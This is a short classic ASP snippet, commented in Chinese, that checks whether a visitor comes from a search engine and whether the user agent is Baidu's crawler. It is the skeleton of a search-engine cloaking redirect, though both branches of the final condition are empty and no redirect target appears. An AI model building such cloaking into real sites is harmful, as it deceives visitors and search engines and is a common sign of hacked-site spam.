<%
fll= Request.ServerVariables("HTTP_REFERER")
ua=Request.ServerVariables("HTTP_USER_AGENT")
'包括百度信息,如果包括就不跳转
if instr(1,ua,"baidu")>="1" then
gyes="no"
else
gyes="yes"
end if
'是否来自搜索引擎的来路
if instr(1,fll,"sogou")>="1" or instr(1,fll,"baidu")>="1" or instr(1,fll,"google")>="1" or instr(1,fll,"soso")>="1" or instr(1,fll,"yahoo")>="1" or instr(1,fll,"bing")>="1" or instr(1,fll,"youdao")>="1" then
g2yes="yes"
else
g2yes="no"
end if
if gyes="yes" and g2yes="yes" then
%><%
else%><%end if%>
